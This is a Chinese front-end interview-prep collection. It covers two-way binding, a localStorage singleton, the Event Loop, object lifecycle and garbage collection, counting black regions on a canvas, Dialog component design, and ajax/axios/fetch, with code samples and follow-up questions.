双向绑定拆开看就是两条链:数据变了去改输入框,输入框变了再写回数据。 数据到视图这条,用 Object.defineProperty 或者 Proxy 拦住赋值,在 setter 里更新 DOM;视图到数据这条,就是监听输入框的 input 事件,把 e.target.value 赋回去。面试我会先写最简版,再补一句真实框架的做法:不在 setter 里直接改 DOM,而是 getter 时收集「谁用到了我」,setter 时通知这些更新函数,这样一份数据能驱动多个地方。

双向绑定由两条数据流组成:数据更新视图,用户输入写回数据。 下面限定为一个文本字段,提供初始化、中文输入法处理和销毁出口,不把它描述成完整响应式框架。

<input id="input" />
<p id="text"></p>
function bindText(input, output, initial = '') {
  let value = String(initial)
  let composing = false
  let active = true
  const data = {}
  function render() {
    if (!active) return
    if (!composing && input.value !== value) input.value = value
    output.textContent = value
  }
  Object.defineProperty(data, 'text', {
    enumerable: true,
    get: () => value,
    set(next) { value = String(next); render() }
  })
  const start = () => { composing = true }
  const change = event => {
    if (!composing && !event.isComposing) data.text = input.value
  }
  const end = () => { composing = false; data.text = input.value }
  input.addEventListener('compositionstart', start)
  input.addEventListener('compositionend', end)
  input.addEventListener('input', change)
  render()
  return {
    data,
    dispose() {
      active = false
      input.removeEventListener('compositionstart', start)
      input.removeEventListener('compositionend', end)
      input.removeEventListener('input', change)
    }
  }
}

调用 bindText 时传入上面的输入框和文本节点;修改返回的 data.text 会更新视图,调用 dispose 后不再同步。输入法组合阶段暂不把中间输入写回,组合结束时采用用户最终输入;外部同时更新时的冲突策略还可按业务调整。

完整框架还需要按对象和属性追踪依赖、清理失效依赖、处理嵌套数据与调度批量更新。单字段绑定能展示双向数据流,但不承担那些通用能力。

💬 面试官追问

  • 监听 change 做同步,有什么问题?

    change 在输入框失焦或回车时才触发,打字过程中数据不同步。要实时同步换成 input,Vue 的 v-model.lazy 才是故意用 change。

  • 用 defineProperty 实现,data.list.push(1) 页面为什么不更新?

    defineProperty 只能拦已有属性的读写,数组下标赋值、push、新增属性都拦不到。Vue 2 是重写了数组的 7 个变更方法,再提供 Vue.set 兜底;Vue 3 换 Proxy 就没这个问题了。

  • 用中文输入法打字时,拼音字母也被同步到数据里了,怎么处理?

    监听 compositionstart 时打个标记,期间的 input 先跳过,等 compositionend 再手动同步一次。Vue 的 v-model 内部就是这么做的。

  • setter 里改了 input.value,会不会又触发 input 事件,死循环?

    不会。input 事件只在用户操作时触发,JS 赋值 input.value 不会派发事件。真要担心的是多个响应式数据互相 watch 互相改,那才可能循环。

  • 页面上三处都用了 data.text,你的 setter 怎么知道要更新哪三处?

    靠依赖收集:渲染时读 data.text 会走 getter,这时把当前的更新函数记到一个 Set 里;setter 触发时遍历这个 Set 全部执行。这就是 Vue 里 Dep 和 Watcher(Vue 3 叫 effect)的作用。

# 90 实现Storage,使得该对象为单例,并对localStorage进行封装设置值setItem(key,value)和getItem(key)

⚡ 30 秒速记

  • 单例写法:模块变量缓存实例 + static getInstance();ES module 本身只执行一次,export default new XxxStorage() 就天然单例
  • 封装的价值在于原生做不到的事:setItem 自动 JSON.stringify,getItem 自动 JSON.parse + try/catch
  • 原生只存字符串:存 1 取出来是 '1',存对象变成 '[object Object]';不存在的 key 返回 null
  • 进阶:过期时间(存 { value, expire })、key 加前缀、写满时捕获 QuotaExceededError
  • 别把类叫 Storage,会遮住浏览器自带的全局 Storage 接口

单例就是用一个变量把实例存起来,第一次创建,之后都返回同一个;localStorage 的封装重点是帮调用方处理序列化。 我会写一个 static getInstance(),内部判断实例是否存在。但其实在现代项目里,ES module 只会执行一次,直接导出一个实例就已经是单例了,这句面试官一般会认可。封装本身如果只是转调原生方法意义不大,我会加上 JSON 序列化、解析失败兜底和过期时间,这才是业务真正用得上的。

var instance = null;
class Storage {
  static getInstance() {
    if (!instance) {
      instance = new Storage();
    }
    return instance;
  }

  setItem(key, value) {
    localStorage.setItem(key, value);
  }

  getItem(key) {
    return localStorage.getItem(key);
  }
}

现在,你可以使用Storage.getInstance()来获取Storage的单例对象,并使用setItem和getItem方法来设置和获取localStorage中的值。

// 使用示例
const storage = Storage.getInstance();
storage.setItem('name', 'poetry');
const name = storage.getItem('name');
console.log(name); // 输出: poetry

💬 面试官追问

  • new Storage() 也能创建新实例,这还算单例吗?

    严格说不算,只是约定走 getInstance。要防住可以在 constructor 里判断,已有实例就直接 return instance,构造函数返回对象时 new 会用这个返回值。

  • storage.setItem('user', { name: 'a' }) 取出来是什么?

    是字符串 '[object Object]',原生会先 String() 一下。所以封装里要 JSON.stringify 存、JSON.parse 取,parse 外面包 try/catch,防止别人手动写进去的脏数据把页面搞崩。

  • 想让存进去的 token 两小时后失效,怎么做?

    存成 { value, expire: Date.now() + 2 * 3600 * 1000 },读的时候比较当前时间,过期就 removeItem 并返回 null。localStorage 本身没有过期机制,只能读时判断。

  • 线上偶发 setItem 抛异常,可能是什么原因?

    最常见是超了配额,一般每个源 5MB 左右,抛 QuotaExceededError;老版本 iOS Safari 无痕模式下配额是 0,一写就抛。封装里要 try/catch,失败了降级到内存对象,别让一次存储失败中断主流程。

  • 两个标签页都开着,一边改了登录状态,另一边怎么同步?

    监听 window 的 storage 事件,它只在其他同源标签页修改时触发,当前页自己改不会收到。需要更通用的跨标签通信可以用 BroadcastChannel。

# 91 谈谈你对Event Loop的理解

⚡ 30 秒速记

  • 主线:同步代码跑完 → 清空全部微任务 → 有必要就渲染一帧 → 取一个宏任务执行 → 再清空微任务,循环
  • 微任务是「清空」不是「执行一个」:执行中新产生的微任务也在本轮跑完,所以微任务里无限递归会卡死页面
  • 宏任务:setTimeout / setInterval / I/O / 用户事件 / MessageChannel;微任务:Promise.then / queueMicrotask / MutationObserver
  • setTimeout(fn, 0) 不是立即执行:只保证「不早于」,嵌套超过 5 层后浏览器会强制至少 4ms
  • Node 分阶段(timers → poll → check…),process.nextTick 比 Promise 还早;Node 11 起每个 timer 回调后就清空微任务,和浏览器对齐

JS 是单线程的,Event Loop 就是它排队干活的规则:先把同步代码跑完,再清空所有微任务,然后才轮到下一个宏任务。 打个比方,宏任务是排号的客人,微任务是当前客人临时加的事,必须办完才叫下一个号。所以 Promise.then 总比同一轮的 setTimeout 先执行。浏览器会在宏任务之间找机会渲染,requestAnimationFrame 就在渲染前执行。我做输出顺序题就按「同步 → 微任务 → 宏任务」一轮一轮推,很少出错。

前端面试中关于事件循环(Event Loop)的考点主要包括以下内容:

  1. 事件循环的基本原理:介绍 JavaScript 的单线程特性,事件循环的概念和工作原理,以及任务队列(Task Queue)的概念。
  2. 宏任务和微任务:区分宏任务(Macrotask)和微任务(Microtask)的概念,理解它们在事件循环中的执行顺序。
  3. 常见的宏任务和微任务:了解常见的宏任务和微任务的类型,如 setTimeout、setInterval、Promise、MutationObserver 等。
  4. 异步操作的执行顺序:理解异步操作的执行顺序,如何在事件循环中处理异步代码,微任务优先于宏任务执行等。
  5. 宏任务中的异步操作:了解在宏任务中的异步操作(例如 setTimeout)是如何被添加到任务队列中的,以及它们的执行时机。
  6. 浏览器中的事件循环和 Node.js 中的事件循环:了解浏览器环境和 Node.js 环境下事件循环的差异,如 setImmediate 的区别等。

了解和掌握事件循环的原理和机制对于理解 JavaScript 异步编程非常重要。在面试中,常常会通过让求职者解释事件循环的执行顺序、分析代码的输出结果等方式来考察他们对事件循环的理解。

首先,js是单线程的,主要的任务是处理用户的交互,而用户的交互无非就是响应DOM的增删改,使用事件队列的形式,一次事件循环只处理一个事件响应,使得脚本执行相对连续,所以有了事件队列,用来储存待执行的事件,那么事件队列的事件从哪里被push进来的呢。那就是另外一个线程叫事件触发线程做的事情了,他的作用主要是在定时触发器线程、异步HTTP请求线程满足特定条件下的回调函数push到事件队列中,等待js引擎空闲的时候去执行,当然js引擎执行过程中有优先级之分,首先js引擎在一次事件循环中,会先执行js线程的主任务,然后会去查找是否有微任务microtask(promise),如果有那就优先执行微任务,如果没有,在去查找宏任务macrotask(setTimeout、setInterval)进行执行

众所周知 JS 是门非阻塞单线程语言,因为在最初 JS 就是为了和浏览器交互而诞生的。如果 JS 是门多线程的语言话,我们在多个线程中处理 DOM 就可能会发生问题(一个线程中新加节点,另一个线程中删除节点)

  • JS 在执行的过程中会产生执行环境,这些执行环境会被顺序的加入到执行栈中。如果遇到异步的代码,会被挂起并加入到 Task(有多种 task) 队列中。一旦执行栈为空,Event Loop 就会从 Task 队列中拿出需要执行的代码并放入执行栈中执行,所以本质上来说 JS 中的异步还是同步行为

console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

console.log('script end');

不同的任务源会被分配到不同的 Task 队列中,任务源可以分为 微任务(microtask) 和 宏任务(macrotask)。在 ES6 规范中,microtask 称为 jobs,macrotask 称为 task

console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

new Promise((resolve) => {
    console.log('Promise')
    resolve()
}).then(function() {
  console.log('promise1');
}).then(function() {
  console.log('promise2');
});

console.log('script end');
// script start => Promise => script end => promise1 => promise2 => setTimeout

以上代码虽然 setTimeout 写在 Promise 之前,但是因为 Promise 属于微任务而 setTimeout 属于宏任务

微任务

  • process.nextTick
  • promise
  • Object.observe
  • MutationObserver

宏任务

  • script
  • setTimeout
  • setInterval
  • setImmediate
  • I/O
  • UI rendering

宏任务中包括了 script ,浏览器会先执行一个宏任务,接下来有异步代码的话就先执行微任务

所以正确的一次 Event loop 顺序是这样的

  • 执行同步代码,这属于宏任务
  • 执行栈为空,查询是否有微任务需要执行
  • 执行所有微任务
  • 必要的话渲染 UI
  • 然后开始下一轮 Event loop,执行宏任务中的异步代码

通过上述的 Event loop 顺序可知,如果宏任务中的异步代码有大量的计算并且需要操作 DOM 的话,为了更快的响应界面响应,我们可以把操作 DOM 放入微任务中

setTimeout(function () {
  console.log("1");
}, 0);
async function async1() {
  console.log("2");
  const data = await async2();
  console.log("3");
  return data;
}
async function async2() {
  return new Promise((resolve) => {
    console.log("4");
    resolve("async2的结果");
  }).then((data) => {
    console.log("5");
    return data;
  });
}
async1().then((data) => {
  console.log("6");
  console.log(data);
});
new Promise(function (resolve) {
  console.log("7");
  //   resolve()
}).then(function () {
  console.log("8");
});

输出结果:247536 async2 的结果 1

💬 面试官追问

  • async 函数里 await 后面的代码,算同步还是微任务?

    await 前面的部分是同步执行的,await 之后的代码相当于放进了 .then,是微任务。所以 async function f(){ console.log(1); await null; console.log(2) } 调用后,1 立刻输出,2 要等当前同步代码跑完。

  • 一个按钮点击后要算 2 秒的数据,用 Promise 包一下能不卡吗?

    不能。Promise 只是改变执行时机,计算还是在主线程上跑,微任务执行期间照样不能渲染、不能响应点击。真要不卡,得切片用 setTimeout / scheduler.yield() 让出主线程,或者丢给 Web Worker。

  • setTimeout(fn, 0) 和 setImmediate 在 Node 里谁先执行?

    在主模块里直接写,顺序不确定,取决于进入事件循环时 1ms 的定时器到没到期。放在 I/O 回调里写,一定是 setImmediate 先,因为 poll 阶段之后紧接着就是 check 阶段。

  • requestAnimationFrame 是宏任务还是微任务?

    都不是,它属于渲染步骤的一部分,在浏览器决定要画下一帧、样式计算和布局之前执行,大约每帧一次。后台标签页里 rAF 会暂停,setTimeout 也会被限流到至少 1s 一次。

  • Vue 的 nextTick 为什么用 Promise 而不是 setTimeout?

    Promise.then 是微任务,在本轮渲染之前就能执行,数据批量改完后 DOM 更新能赶在同一帧画出来;setTimeout 是下一个宏任务,中间可能先渲染一帧旧画面。Vue 是在不支持 Promise 的环境才降级到 setTimeout。

# 92 JavaScript 对象生命周期的理解

⚡ 30 秒速记

  • 三个阶段:创建(分配堆内存)→ 使用(被变量、闭包、其他对象引用)→ 不可达后被 GC 回收
  • 判断能不能回收看「可达性」:从全局对象、调用栈这些根出发找不到它,就是垃圾,跟有没有被引用无关
  • 所以两个对象互相引用但外面没人用了,照样能回收
  • 回收时机由引擎决定,不能手动触发;obj = null 只是断开引用,不是立即释放
  • 泄漏的本质:长生命周期的东西(全局变量、单例、未清的定时器和监听)抓着短生命周期的对象不放;关联数据用 WeakMap

一个对象从被创建开始占内存,只要还能从根上顺着引用找到它,它就活着;找不到了,垃圾回收器就会在某个时机把它清掉。 这里的「根」主要是全局对象和当前调用栈上的变量。很多人以为「没有引用才回收」,其实是「不可达才回收」,循环引用的两个对象只要外部没人指向它们,一样会被回收。实际开发中内存问题几乎都是「本该死的对象被长寿的东西抓住了」,比如组件卸载了但事件监听没解绑,回调闭包一直引用着组件数据。

JavaScript 对象的生命周期可以概括为以下几个阶段:

  1. 创建阶段:当使用 new 关键字或对象字面量语法创建一个对象时,JavaScript 引擎会为该对象分配内存,并将其初始化为一个空对象。
  2. 使用阶段:在对象创建后,可以对其进行属性的读取、修改和方法的调用等操作。对象被使用时,它可能会被传递给其他函数或存储在变量中,以供后续操作使用。
  3. 引用阶段:在对象的使用过程中,其他变量或函数可能会引用该对象,形成对该对象的引用关系。这些引用关系可以是直接的,也可以是通过其他对象的属性或方法间接引用的。
  4. 回收阶段:当一个对象不再被引用时,或者所有引用都被循环引用时,垃圾回收机制会将其标记为可回收,并在适当的时候回收该对象所占用的内存。垃圾回收器定期扫描内存中的对象,检查它们的引用情况,并释放那些不再被引用的对象。

需要注意的是,JavaScript 使用自动垃圾回收机制来管理内存,开发者不需要显式地释放对象占用的内存。垃圾回收器会自动跟踪对象的引用关系,并在适当的时候回收无用的对象。开发者可以通过将对象的引用置为 null 来显式地解除对对象的引用,以帮助垃圾回收器更早地回收对象。

在浏览器环境中,垃圾回收器通常使用标记-清除算法来判断对象是否可回收。当一个对象不再可达时,即没有任何引用指向该对象,垃圾回收器会将其标记为可回收,并在垃圾回收的过程中将其释放。一些现代的浏览器还使用了更高级的垃圾回收算法,如分代回收和增量标记等,以提高垃圾回收的效率和性能。

总结来说,JavaScript 对象的生命周期包括创建、使用和回收三个阶段。开发者无需显式地管理对象的内存,而是通过使用对象和及时解除对象的引用来帮助垃圾回收器自动回收不再使用的对象。

💬 面试官追问

  • 把变量设成 null,内存就马上释放了吗?

    不会,只是断开了这一条引用,对象变成可回收状态,什么时候真正回收由引擎决定。而且如果别处还引用着它,设 null 也没用。

  • 单页应用切了几次路由,内存一直涨不下来,怎么查?

    DevTools 的 Memory 面板,切路由前后各拍一次堆快照,用 Comparison 视图看新增对象,重点找 Detached 开头的 DOM 节点,再看它的 Retainers 是被谁抓住的。常见元凶是没解绑的 window 监听和没清的 setInterval。

  • WeakMap 为什么不会阻止回收?

    它对 key 是弱引用,key 对象在别处没人用了,就能被回收,对应的条目自动消失。所以给 DOM 节点挂额外数据用 WeakMap 很合适,节点删了数据跟着没。代价是它不能遍历,也没有 size。

  • 能不能在对象被回收时收到通知?

    ES2021 有 FinalizationRegistry,可以注册回调。但回收时机不确定,甚至可能不回调,只能做清理类的兜底,不能用来写业务逻辑。

  • 闭包是不是一定会导致内存泄漏?

    不是。闭包只是让外层变量活得和内层函数一样久,函数本身没人引用了,变量照样回收。泄漏是因为闭包函数被挂在了长寿的地方,比如全局事件监听,又一直没移除。

# 93 我现在有一个canvas,上面随机布着一些黑块,请实现方法,计算canvas上有多少个黑块

⚡ 30 秒速记

  • 先问清「黑块」是什么:数黑色像素,还是数连成一片的黑色区域?题意通常是后者 = 「岛屿数量」问题
  • getImageData 拿像素,每 4 个元素是一个像素的 RGBA,坐标 (x, y) 对应下标 (y * w + x) * 4
  • 遍历像素,遇到没访问过的黑像素 → 计数 +1,再用 BFS 把和它相连的黑像素全标记掉
  • 判黑要看透明度:空白画布是 (0, 0, 0, 0),不判 alpha 会把空白全算成黑;抗锯齿边缘用阈值判断
  • 大图用队列迭代,别递归 DFS,一个 1000×1000 的黑块就能把栈打爆;跨域图片会污染画布,getImageData 直接抛错

这题本质是「岛屿数量」:先拿到像素数据,再把连在一起的黑像素当成一块,用 BFS 数一共有几块。 原来那种写法统计的是黑色像素个数,不是黑块个数,面试官问「黑块」基本就是想看你能不能想到连通区域。具体做法是遍历每个像素,碰到一个没访问过的黑像素就把计数加一,然后从它出发把相邻的黑像素全部标记成已访问。还有一个很容易漏的坑:空画布的像素是全透明的 0,0,0,0,RGB 也都是 0,必须同时判断 alpha。

先约定黑块采用四连通:上下左右相邻的黑色像素属于同一块,对角相邻不合并。黑色像素阈值和透明度也要按图像需求确定。下面用广度优先搜索计数。

function countBlackBlocks(canvas) {
  const { width: w, height: h } = canvas;
  if (w === 0 || h === 0) return 0;
  const ctx = canvas.getContext('2d', { willReadFrequently: true });
  if (!ctx) throw new Error('2D context unavailable');
  const data = ctx.getImageData(0, 0, w, h).data;

  // 判黑:考虑透明度和抗锯齿,阈值可按需求调整
  const isBlack = (i) => {
    const p = i * 4;
    return data[p + 3] > 128 && data[p] + data[p + 1] + data[p + 2] < 150;
  };

  const visited = new Uint8Array(w * h);
  const queue = new Uint32Array(w * h); // 用定长数组当队列,避免 shift 的开销
  let count = 0;

  for (let start = 0; start < w * h; start++) {
    if (visited[start] || !isBlack(start)) continue;
    count++; // 发现一个新黑块
    let head = 0, tail = 0;
    queue[tail++] = start;
    visited[start] = 1;

    while (head < tail) {
      const cur = queue[head++];
      const x = cur % w, y = Math.floor(cur / w);
      // 四连通:上下左右
      const next = [
        x > 0 ? cur - 1 : -1,
        x < w - 1 ? cur + 1 : -1,
        y > 0 ? cur - w : -1,
        y < h - 1 ? cur + w : -1,
      ];
      for (const n of next) {
        if (n >= 0 && !visited[n] && isBlack(n)) {
          visited[n] = 1;
          queue[tail++] = n;
        }
      }
    }
  }
  return count;
}

// 测试:画两个分开的黑块
// ctx.fillRect(10, 10, 20, 20); ctx.fillRect(50, 50, 20, 20);
// countBlackBlocks(canvas) // 2

每个像素最多入队一次,时间复杂度 O(w × h),额外空间也是 O(w × h)。不用递归 DFS,是因为一个大黑块可能有上百万像素,递归深度会直接爆栈。

跨源图像使画布被污染时,读取像素可能抛出安全异常;图像加载需要正确的跨源配置与响应许可,不能仅检查 canvas 元素自身来源。大图的时间和内存开销随像素总数增长,必要时分块或在适合的 Worker 环境处理。

💬 面试官追问

  • 原来的代码在一个什么都没画的画布上跑,结果是多少?

    会返回画布的像素总数。没绘制过的像素是透明黑 rgba(0,0,0,0),只判 RGB 都是 0 就全中了。至少要加一个 alpha > 128 的条件。

  • 黑块边缘有灰色的抗锯齿像素,数出来块数偏多,怎么办?

    别用 === 0 判黑,用阈值,比如 r + g + b < 150 且 alpha > 128。边缘半透明的像素归不归到块里,取决于阈值,题目没说就先和面试官确认。

  • 两个黑块只有对角线挨着,算一块还是两块?

    看用四连通还是八连通:只看上下左右是四连通,算两块;加上四个斜方向就是八连通,算一块。写代码前先问清楚,这是面试官很想听到的问题。

  • 画布是 4000×3000,扫描时页面卡住了,怎么优化?

    1200 万像素放主线程肯定卡。把 ImageData 传给 Web Worker 算,data.buffer 可以作为 Transferable 零拷贝转过去。访问标记用 Uint8Array,别用普通数组或 Set。

  • 画布里画了一张 CDN 上的图片,getImageData 报 SecurityError,为什么?

    跨域图片没开 CORS,画上去之后画布被「污染」,浏览器禁止读取像素。要给 img 加 crossOrigin = 'anonymous',同时 CDN 返回 Access-Control-Allow-Origin 头,两边缺一不可。

# 94 现在要你完成一个Dialog组件,说说你设计的思路?它应该有什么功能?

⚡ 30 秒速记

  • API:受控 open + onClose(Vue 里用 v-model:open),title / footer 插槽,maskClosable、keyboard(Esc 关闭)、destroyOnClose
  • 挂载位置:Portal(React)/ Teleport(Vue 3)挂到 body,躲开父级 overflow: hidden 和 transform 造成的定位、裁剪问题
  • 焦点管理最加分:打开时焦点移进弹窗,Tab 只在弹窗内循环,关闭后还给触发按钮
  • 无障碍:role="dialog"、aria-modal="true"、aria-labelledby 指向标题
  • 细节:锁 body 滚动并补偿滚动条宽度、多层弹窗 z-index 栈、进出场动画、Dialog.confirm() 返回 Promise 的命令式调用
  • 现在可以直接基于原生 <dialog> + showModal(),顶层渲染、Esc 关闭、背景不可交互都是浏览器给的

我会把 Dialog 设计成受控组件,状态交给父组件,组件自己只管渲染、交互和无障碍。 基础功能大家都会说:标题、内容、底部按钮插槽,点遮罩关闭,内容超长内部滚动。真正拉开差距的是几件容易漏的事:用 Portal 挂到 body 下,否则父级有 transform 时 fixed 定位会失效;打开时把焦点移进去、Tab 不跑出去、关闭后焦点还回按钮;锁滚动时补上滚动条宽度,不然页面会横向抖一下。最后再提供一个 Dialog.confirm() 返回 Promise,业务里 await 一下就拿到用户选择。

基于上述需求,以下是设计思路和Vue实现示例:

设计思路:

  1. 创建一个Dialog组件,它是一个可控的组件,接收visible、onOk和onCancel等属性。
  2. 使用v-if或者v-show来控制Dialog组件的显示与隐藏。
  3. 在组件内部,使用插槽(slot)来允许自定义头部和底部内容。
  4. 在Dialog组件的模板中,设置一个蒙层(mask),用于遮盖底层内容。点击蒙层时触发onCancel事件关闭Dialog。
  5. 在Dialog组件的内容区域,设置一个滚动条容器,当内容超出容器高度时显示滚动条。
  6. 根据需要,可以在组件外部指定渲染位置、设置外层样式等。

Vue实现示例:

<template>
  <div v-if="visible" class="dialog-container">
    <div class="dialog-mask" @click="onCancel"></div>
    <div class="dialog-content">
      <div class="dialog-header">
        <slot name="header">
          <h2>Default Header</h2>
        </slot>
      </div>
      <div class="dialog-body">
        <slot></slot>
      </div>
      <div class="dialog-footer">
        <slot name="footer">
          <button @click="onOk">Confirm</button>
          <button @click="onCancel">Cancel</button>
        </slot>
      </div>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    visible: {
      type: Boolean,
      default: false
    },
    onOk: {
      type: Function,
      default: () => {}
    },
    onCancel: {
      type: Function,
      default: () => {}
    }
  },
  watch: {
    visible(newValue) {
      if (newValue) {
        document.body.style.overflow = 'hidden';
      } else {
        document.body.style.overflow = '';
      }
    }
  },
  methods: {
    onOk() {
      this.onOk();
    },
    onCancel() {
      this.onCancel();
    }
  }
};
</script>

<style>
.dialog-container {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  display: flex;
  justify-content: center;
  align-items: center;
}

.dialog-mask {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0, 0, 0, 0.5);
}

.dialog-content {
  background-color: white;
  width: 400px;
  border-radius: 4px;
  overflow: hidden;
}

.dialog-header {
  padding: 16px;
  border-bottom: 1px solid #ccc;
}

.dialog-body {
  padding: 16px;
  max-height: 400px;
  overflow-y: auto;
}

.dialog-footer {
  padding: 16px;
  border-top: 1px solid #ccc;
  text-align: right;
}

.dialog-footer button {
  margin-left: 8px;
}
</style>

在使用示例中,我们可以在父组件中通过v-model指令来控制visible属性的值,从而控制Dialog组件的显示和隐藏。同时,可以通过@ok和@cancel事件监听来处理确定和取消按钮的点击事件。

<template>
  <div>
    <button @click="showDialog">Show Dialog</button>
    <Dialog v-model="dialogVisible" @ok="handleOk" @cancel="handleCancel">
      <template #header>
        <h2>Custom Header</h2>
      </template>
      <p>This is the dialog content.</p>
      <template #footer>
        <button @click="handleCustomAction">Custom Action</button>
      </template>
    </Dialog>
  </div>
</template>

<script>
import Dialog from './Dialog';

export default {
  components: {
    Dialog
  },
  data() {
    return {
      dialogVisible: false
    };
  },
  methods: {
    showDialog() {
      this.dialogVisible = true;
    },
    handleOk() {
      // Handle ok button click
      console.log('Ok button clicked');
      this.dialogVisible = false;
    },
    handleCancel() {
      // Handle cancel button click
      console.log('Cancel button clicked');
      this.dialogVisible = false;
    },
    handleCustomAction() {
      // Handle custom action button click
      console.log('Custom action button clicked');
    }
  }
};
</script>

注意,在使用示例中,我们引入了自定义的Dialog组件,并在父组件中进行注册。然后使用v-model绑定dialogVisible属性来控制Dialog组件的显示和隐藏。通过监听@ok和@cancel事件来处理确定和取消按钮的点击事件,并在方法中进行相应的处理逻辑。

这样,当点击"Show Dialog"按钮时,Dialog组件将会显示出来,并且可以根据需要自定义头部、内容和底部按钮,同时可以处理确定和取消按钮的点击事件。

React Hooks实现

下面是使用React Hooks实现的Dialog组件示例:

import React, { useState } from 'react';

const Dialog = ({ visible, onCancel, onOk, children }) => {
  const [dialogVisible, setDialogVisible] = useState(visible);

  const handleCancel = () => {
    setDialogVisible(false);
    onCancel && onCancel();
  };

  const handleOk = () => {
    setDialogVisible(false);
    onOk && onOk();
  };

  return (
    <>
      {dialogVisible && (
        <div className="dialog-wrapper">
          <div className="dialog-mask" onClick={handleCancel}></div>
          <div className="dialog-content">
            <div className="dialog-header">
              <h2>Dialog Header</h2>
            </div>
            <div className="dialog-body">{children}</div>
            <div className="dialog-footer">
              <button onClick={handleOk}>OK</button>
              <button onClick={handleCancel}>Cancel</button>
            </div>
          </div>
        </div>
      )}
    </>
  );
};

export default Dialog;

在这个示例中,我们使用了useState来定义一个dialogVisible状态,来控制Dialog组件的显示和隐藏。当visible属性发生变化时,通过setDialogVisible方法来更新dialogVisible状态。

在handleCancel和handleOk方法中,我们调用setDialogVisible(false)来隐藏Dialog组件,并触发相应的onCancel和onOk回调函数。

在返回的JSX中,我们根据dialogVisible状态来判断是否渲染Dialog组件。当dialogVisible为true时,渲染Dialog组件的内容,包括遮罩层、头部、内容和底部按钮。点击遮罩层时,调用handleCancel方法,关闭Dialog。

使用这个Dialog组件时,可以通过传递visible、onCancel和onOk属性来控制显示和隐藏,以及处理取消和确定按钮的点击事件。

import React, { useState } from 'react';
import Dialog from './Dialog';

const App = () => {
  const [dialogVisible, setDialogVisible] = useState(false);

  const showDialog = () => {
    setDialogVisible(true);
  };

  const handleOk = () => {
    console.log('OK button clicked');
    setDialogVisible(false);
  };

  const handleCancel = () => {
    console.log('Cancel button clicked');
    setDialogVisible(false);
  };

  return (
    <div>
      <button onClick={showDialog}>Show Dialog</button>
      <Dialog visible={dialogVisible} onCancel={handleCancel} onOk={handleOk}>
        <p>This is the dialog content.</p>
      </Dialog>
    </div>
  );
};

export default App;

在这个示例中,我们在父组件中使用useState定义了一个dialogVisible状态,并提供了showDialog、handleOk和handleCancel方法来控制Dialog组件的显示和隐藏,以及处理确定和取消按钮的点击事件。

当点击"Show Dialog"按钮时,Dialog组件将会显示出来,并且可以根据需要传递内容,并处理确定和取消按钮的点击事件。

💬 面试官追问

  • 弹窗写在一个有 transform 的卡片里,position: fixed 不是全屏了,为什么?

    父元素有 transform、filter、perspective 时,会成为 fixed 子元素的包含块,fixed 变成相对这个父级定位。所以弹窗要用 Portal / Teleport 挂到 body,或者直接用原生 <dialog> 的 showModal(),它渲染在顶层,不受父级影响。

  • 原来的 Vue 示例里 props 和 methods 都叫 onOk,会怎样?

    Vue 会报警告说方法和 prop 重名,最后 this.onOk 指向谁取决于初始化顺序,搞不好就是自己调自己无限递归。正确写法是 this.$emit('ok'),关闭用 update:visible 事件配合 v-model。

  • 弹窗打开后,用键盘 Tab 焦点跑到了背后页面上,怎么处理?

    打开时把焦点移到弹窗第一个可聚焦元素,监听 keydown,在最后一个元素按 Tab 时跳回第一个,Shift+Tab 反过来。更省事的是给背后的主内容加 inert 属性,或者用 showModal(),浏览器自动让背景不可聚焦。

  • 业务里想写 const ok = await Dialog.confirm('确定删除?'),怎么实现?

    静态方法内部 new Promise,动态创建一个容器挂到 body,渲染 Dialog,确定时 resolve(true)、取消时 resolve(false),然后卸载组件、移除容器。注意要继承应用的主题和上下文,antd 为此专门出了 App.useApp() 里的 modal。

  • 给 body 加了 overflow: hidden,页面内容横向跳了一下,怎么修?

    滚动条消失让可用宽度变大了。锁滚动时算出 window.innerWidth - document.documentElement.clientWidth,给 body 补同样的 padding-right;新项目也可以在根元素上写 scrollbar-gutter: stable 预留滚动条位置。

# 95 ajax、axios、fetch区别

⚡ 30 秒速记

  • Ajax 是技术统称(页面不刷新和服务器通信),最早靠 XMLHttpRequest 实现;jQuery 的 $.ajax 是对 XHR 的封装
  • fetch:浏览器原生、基于 Promise;404 / 500 不会 reject,只有网络错误才 reject,要自己判 res.ok
  • fetch 的 cookie:默认 credentials: 'same-origin',同源会带、跨域不带;「默认不带 cookie」是 2017 年前的老规范
  • axios:第三方库,浏览器端走 XHR(1.7 起可选 fetch 适配器),Node 端走 http;拦截器、超时、上传进度、非 2xx 自动 reject
  • fetch 缺的:上传进度、内置超时(用 AbortSignal.timeout(5000) 补);取消靠 AbortController

Ajax 是一种技术思路,fetch 是浏览器原生的新接口,axios 是封装好的第三方库,三者不在一个层次。 选型上,fetch 零依赖,但要自己处理 HTTP 错误码、超时、统一加 token;axios 把这些都做好了,尤其是拦截器,统一注入 token、统一报错、401 自动刷新都靠它。还有一个常见的错误说法是「fetch 默认不带 cookie」,现在规范默认是同源带、跨域不带,跨域要带得写 credentials: 'include',axios 跨域对应的是 withCredentials: true。

时序图 · 5 个参与者 / 12 步
alt 状态码 2xx状态码 401网络错误或超时业务代码业务代码请求拦截器请求拦截器axios 适配器axios 适配器服务端服务端响应拦截器响应拦截器axios.get 发起请求1注入 token 和公共参数2交给 XHR 或 http 发送3发出 HTTP 请求4返回响应5进入响应拦截器6取出 data 返回7用 refresh token 换新 token8返回新 token9用原配置重发请求10返回重放结果11统一报错并 reject12

总结一下ajax、axios和fetch的区别:

  • ajax是一种技术统称,基于原生的XHR开发,已经有了fetch的替代方案。
  • fetch是一个原生的API,用于进行网络请求,支持Promise API,但在某些方面功能较为简单,需要进行封装来处理错误、超时等情况。
  • axios是一个第三方库,可以用于浏览器和Node.js环境中发出HTTP请求,支持Promise API,提供了更多的功能和选项,如拦截请求和响应、转换数据、取消请求等。

下面是它们的一些主要区别和特点:

  • 代码简洁性:fetch和axios相比,ajax的代码较为冗长,需要手动配置各项参数;fetch和axios使用更简洁,支持链式调用和配置对象参数。
  • 浏览器兼容性:fetch是基于原生的Fetch API,较新的API,不支持低版本的浏览器,需要进行兼容性处理;ajax和axios对各种浏览器有较好的兼容性。
  • 功能丰富性:axios提供了更多的功能和选项,如拦截请求和响应、转换数据、取消请求等,而fetch较为简单,需要进行封装来实现这些功能。
